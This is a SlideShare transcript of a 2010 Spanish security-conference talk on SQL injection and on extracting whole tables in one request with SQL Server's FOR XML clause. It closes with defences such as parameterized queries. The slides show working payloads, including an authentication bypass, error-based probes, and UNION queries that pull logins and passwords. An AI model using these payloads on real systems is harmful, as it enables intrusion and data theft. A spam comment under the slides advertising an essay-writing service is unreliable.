Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Asegúr@IT 7: Serialized SQL Injection

3,427 views

Published on

Presentación impartida por Dani "The Doctor" Kachakil en el Asegúr@IT 7 que tuvo lugar en Barcelona, el 24 de Marzo de 2010.

Published in: Technology
  • These are one of the best companies for review articles. High quality with cheap rates. ⇒⇒⇒WRITE-MY-PAPER.net ⇐⇐⇐ I highly recommend it :)
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • Be the first to like this

Asegúr@IT 7: Serialized SQL Injection

  1. 1. SFX-SQLiSelect For Xml SQLinjection / Serialized SQL injectionExtracción rápida de información utilizando inyección SQL con instrucciones XML<br />Daniel Kachakil<br />Asegur@IT 7<br />24/03/2010 – Barcelona<br />
  2. 2. Contenido<br />¿Qué es la inyección SQL?<br />Técnicas de inyección SQL clásicas<br />Serialización y la cláusula FOR XML<br />Obtención de columnas y tipos<br />Ajuste de la inyección<br />Ejemplos y demos<br />2<br />
  3. 3. SQL injection<br />
  4. 4. ¿Qué es la inyección SQL?<br />Vulnerabilidad de aplicaciones informáticas<br />Su origen está en el filtrado incorrecto o inexistente de los parámetros de entrada a la BD<br />Graves consecuencias: Cualquiera puede inyectar instrucciones SQL que terminan siendo ejecutadas por el motor de base de datos<br />4<br />
  5. 5. ¿Qué es la inyección SQL?<br />5<br />ASP/PHP/JSP/...<br /><% <br />cmd = <br />"SELECT * FROM…" <br />%><br />GET/<br />SGBD<br />SQL<br />POST<br />Datos<br />HTML<br />Pero no es exclusiva de aplicaciones web<br />
  6. 6. Ataques a la seguridad<br />Integridad: Borrado o corrupción de datos <br />UPDATE, DELETE, INSERT, DROP, ...<br />Disponibilidad: Denegación de servicio<br />SHUTDOWN, consultas complejas, exploits, ...<br />Confidencialidad: Acceso a datos privados<br />Bypass de autenticación (' or '1'='1)<br />A ciegas (Blind SQL injection) <br />A través de mensajes de error<br />Anexando otros conjuntos de datos<br />6<br />
  7. 7. Inyección SQL básica<br />Usuario:<br />' or '1'='1<br />Contraseña:<br />' or '1'='1<br />"SELECT * FROMUsuarios WHERE nombre='" + usuario + "' AND pass='" + contraseña + "'"<br />7<br />
  8. 8. Inyección SQL básica<br />"SELECT * FROMUsuarios WHERE nombre='' or '1'='1' AND pass='' or '1'='1'"<br />La condición WHERE siempre es cierta<br />Devuelve toda la tabla de usuarios<br />El primer registro suele coincidir con el del administrador<br />8<br />
  9. 9. Inyección SQL a ciegas<br />Booleanización: más eficiente con búsqueda binaria<br />EXISTS (SELECT … WHERE n < 128)  V<br />EXISTS (SELECT … WHERE n < 64)  V<br />EXISTS (SELECT … WHERE n < 32)  F<br />EXISTS (SELECT … WHERE n < 48)  V<br />EXISTS (SELECT … WHERE n < 40)  F<br />EXISTS (SELECT … WHERE n < 44)  F<br />EXISTS (SELECT … WHERE n < 46)  F<br />EXISTS (SELECT … WHERE n < 47)  V<br />Conclusión: n=46<br />9<br />
  10. 10. Ejemplo: Absinthe<br />10<br />
  11. 11. Inyección SQL basada en errores<br />"SELECT * FROMAcceso WHERE usuario='' having 1=1--' AND pass='x'"<br />11<br />
  12. 12. Inyección SQL basada en errores<br />"SELECT * FROM Acceso WHERE usuario='' AND convert(int, system_user)>0--' AND pass='x'"<br />12<br />
  13. 13. Inyección SQL anexando datos<br />"SELECTid, asunto, fecha FROMNotas WHEREyear(fecha)=2010UNIONSELECT 0, login+'/'+pass, nullFROMUsers"<br />13<br />
  14. 14. La cláusula FOR XML<br />
  15. 15. FOR XML (MS SQL Server 2005/2008)<br />"SELECT * FROMNumeros"<br />"SELECT * FROMNumerosFOR XML RAW"<br />15<br />
  16. 16. Anexando una tabla en un campo<br />"SELECTasunto FROM Notas WHERE id=1 AND 1=0 UNIONSELECT(SELECT * FROMUsersFOR XML RAW)"<br />16<br />
  17. 17. Sintaxis de FOR XML<br />FOR XML { <br />{ RAW [ ( 'ElementName' ) ] | AUTO } <br /> [ <br /> <CommonDirectives> <br /> [ , { XMLDATA | XMLSCHEMA [ ( 'TargetNameSpaceURI' ) ] } ] <br /> [ , ELEMENTS [ XSINIL | ABSENT ] <br /> ] | EXPLICIT … | PATH …<br />} <br /> <br /><CommonDirectives> ::= <br />[ , BINARY BASE64]<br />[ , TYPE ]<br />[ , ROOT [ ( 'RootName' ) ] ]<br />17<br />
  18. 18. Obtención del númerode columnas<br />
  19. 19. GROUPBY / HAVING 1=1<br />HAVING 1=1<br />Error (cuyo texto revela el nombre de la primera columna)<br />GROUPBYcolumna1HAVING 1=1<br />Error con el nombre de la segunda columna<br />GROUPBYcolumna1, columna2HAVING 1=1<br />Error con el nombre de la tercera columna<br />...<br />GROUPBYcolumna1, columna2, columna3, … , columnaNHAVING 1=1<br />Sin errores<br />19<br />
  20. 20. ORDERBY N<br />ORDERBY 1<br />Sin errores<br />ORDERBY 2<br />Sin errores<br />...<br />ORDERBY N<br />Sin errores<br />ORDERBYN+1<br />Falla (Ante el primer fallo probar más valores por si se tratara de un campo no ordenable. Ej: de tipo binary/varbinary)<br />20<br />
  21. 21. UNIONNULL<br />UNIONSELECTnullWHERE 0=1<br />Falla<br />UNION SELECT null, null WHERE 0=1<br />Falla<br />UNION SELECT null, null, null WHERE 0=1<br />Falla<br />...<br />UNION SELECT null, null, null, null, … , null WHERE 0=1<br />Sin errores<br />21<br />
  22. 22. Obtención del tipode datos<br />
  23. 23. Obtención del tipo de datos<br />Basta con encontrar una columna de tipo texto<br />char, varchar, nvarchar, ...<br />Si muestra errores: <br />CAST(), CONVERT()<br />En otro caso: <br />UNIONSELECTnull, null, 'a', null, null, ... [WHERE 1=0]<br />23<br />
  24. 24. Juntando las piezas<br />
  25. 25. Extracción serializando datos<br />… AND 1=0 UNION SELECT v1, v2, … , (SELECT * FROM Tabla FOR XML RAW, BINARY BASE64), … , vN<br />25<br />
  26. 26. SFX-SQLiTool<br />
  27. 27. SFX-SQLiTool 1.0<br />Capaz de extraer tablas completas con una sola petición<br />Inyecciones GET y POST. SSL, cookies, proxy, etc<br />Si las tablas son muy grandes, las puede segmentar<br />Implementa todas las técnicas descritas antes<br />Ayuda al descubrimiento de columnas y tipos<br />Deshace la codificación HTML automáticamente<br />Log de todo lo que inyecta y de las respuestas<br />Visualización en explorador integrado y código fuente<br />27<br />
  28. 28. Novedades en SFX-SQLiTool 1.1<br />Acceso completo a otras bases de datos del mismo servidor a través de la master<br />Ejecución de consultas personalizadas<br />Ajustes de configuración avanzada<br />Pequeñas mejoras y correcciones<br />28<br />
  29. 29. Medidas de protección<br />
  30. 30. Medidas de protección<br />Las de siempre: filtrar todas las entradas al gestor de bases de datos<br />Forzando la conversión de tipos para entradas numéricas<br />Filtrando o escapando los caracteres peligrosos para las cadenas de texto (comilla simple)<br />Siempre hacerlo en el servidor en última instancia (no confiar en JavaScript, Flash, Silverlight, etc)<br />30<br />
  31. 31. Medidas de protección<br />Utilizar los mecanismos de protección de la plataforma en la que estemos desarrollando<br />Consultas SQL parametrizadas, filtros predefinidos, etc.<br />Aplicar el principio de menor privilegio<br />Limita las consecuencias ante un ataque exitoso<br />No dar información detallada sobre los errores<br />“Contraseña incorrecta para el usuario usuario”<br />“Error al conectar con la base de datos mibasededatos”<br />Response.Write(ex.ToString()) en bloques Try - Catch<br />31<br />
  32. 32. Descarga de la herramienta y más información en mi web: http://www.kachakil.com<br />Daniel Kachakil dani@kachakil.com<br />¡Muchas gracias!<br />

×